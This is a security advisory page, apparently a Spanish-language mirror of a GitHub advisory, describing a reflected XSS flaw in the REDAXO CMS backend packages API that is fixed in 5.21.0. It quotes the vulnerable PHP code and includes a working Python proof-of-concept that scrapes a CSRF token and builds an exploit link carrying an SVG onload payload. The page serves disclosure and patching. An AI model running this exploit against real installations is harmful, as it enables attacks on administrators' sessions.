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Advisory · GitHub · Packagist · redaxo/source

GHSA-XQ4J-G85Q-WF97

REDAXO has reflected XSS backend packages API via function parameter (CSRF token required)

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CVSS
—
low
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión5.21.0
Exposición223 dDesde la divulgación, 10 abr 2026, 2:40 p. m.
Detección220 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Modificada
Explotación
Remediación
Monitoreo
Detectada
10 abr 26
28 oct 26
17 nov 26
20 nov 26
10 abr 26
5 jun 26
31 jul 26
25 sept 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-XQ4J-G85Q-WF97 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

A reflected XSS vulnerability has been identified in the REDAXO backend. The `function` parameter is concatenated into an API error message and rendered without HTML escaping.

---

Details

Root cause
User input `function` is injected into an exception message, then rendered by `rex_view::error()` which delegates to `rex_view::message()` without HTML escaping.

Vulnerable code (`redaxo/src/core/lib/packages/api_package.php`) :

$function = rex_request('function', 'string');
throw new rex_api_exception('Unknown package function "' . $function . '"!');

Sink (`redaxo/src/core/lib/view.php`) :

return '<div class="' . $cssClassMessage . '">' . $message . '</div>';

Source -> sink flow

  • Source: `function` (GET)
  • Propagation: concatenated into the exception message
  • Sink: rendered via `rex_view::error()` -> `rex_view::message()` without escaping

Authentication required: yes (backend session)

---

PoC - Exploit
#!/usr/bin/env python3
import re
import urllib.parse
import requests

TARGET_URL = "http://poc.local/"
BACKEND_PATH = "redaxo/index.php"

# A valid backend PHP session id (must belong to a user who can access the Packages page)
SESSION_ID = "xxxxxxxxxxxxxxxxxxxxx

https://github.com/user-attachments/assets/94093253-abd6-4380-ad46-6b748541a598

"

VERIFY_SSL = False
TIMEOUT = 15

PAYLOAD = '\\"><svg/onload=alert("Pwned")>'

def build_backend_url() -> str:
    base = TARGET_URL.rstrip('/')
    return f"{base}/{BACKEND_PATH.lstrip('/')}"


def extract_api_csrf(html_text: str) -> str:
    m = re.search(r'rex-api-call=package[^\"]+_csrf_token=([^&\"\s]+)', html_text)
    if not m:
        raise RuntimeError("CSRF token for rex_api_call=package was not found in the page HTML.")
    return m.group(1)

def set_session_cookie(session: requests.Session) -> None:
    parsed = urllib.parse.urlparse(TARGET_URL)
    if parsed.hostname:
        session.cookies.set("PHPSESSID", SESSION_ID, domain=parsed.hostname, path="/")


def main() -> None:
    backend_url = build_backend_url()

    s = requests.Session()
    set_session_cookie(s)

    # Backend session required (role with access to packages)
    r0 = s.get(backend_url, timeout=TIMEOUT, verify=VERIFY_SSL)
    if "rex-page-login" in r0.text or "rex_user_login" in r0.text:
        print("[!] Invalid/expired PHPSESSID. Update SESSION_ID with a valid backend session.")
        return

    r = s.get(backend_url, params={"page": "packages"}, timeout=TIMEOUT, verify=VERIFY_SSL)
    if r.status_code != 200:
        print(f"[!] Failed to access packages page (HTTP {r.status_code}).")
        return

    api_token = extract_api_csrf(r.text)

    params = {
        "page": "packages",
        "rex-api-call": "package",
        "function": PAYLOAD,
        "package": "nonexistent",
        "_csrf_token": api_token,
    }

    exploit_url = f"{backend_url}?{urllib.parse.urlencode(params)}"
    print(exploit_url)


if __name__ == "__main__":
    main()

To run the PoC you must set a valid admin account PHPSSID. The PoC will then automatically retrieve the CSRF token and generate a ready-to-use exploitation link.

---

Impact
  • Confidentiality: Low : no direct session theft (HttpOnly cookies), but possibility to access/exfiltrate data available via the DOM or via same-origin requests if the XSS executes in a victim’s session.
  • Integrity: Low : possibility to chain backend actions on behalf of the user (same-origin requests) only if execution takes place in a victim session; otherwise the impact is limited to the user who triggers the call.
  • Availability: Low : the XSS could disrupt the administration interface or trigger unwanted actions, but the token requirement strongly limits realistic scenarios.

### Demo
https://github.com/user-attachments/assets/41d0186a-7ca0-4482-86c5-8bea6c8f6ac6

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
redaxo/source< 5.21.0
5.21.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistredaxo/source
Corregida 5.21.0 — —
Versiones corregidas5.21.0
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Otrahttps://github.com/redaxo/core/security/advisories/GHSA-xq4j-g85q-wf97
Otrahttps://github.com/redaxo/core
Otrahttps://github.com/redaxo/core/releases/tag/5.21.0

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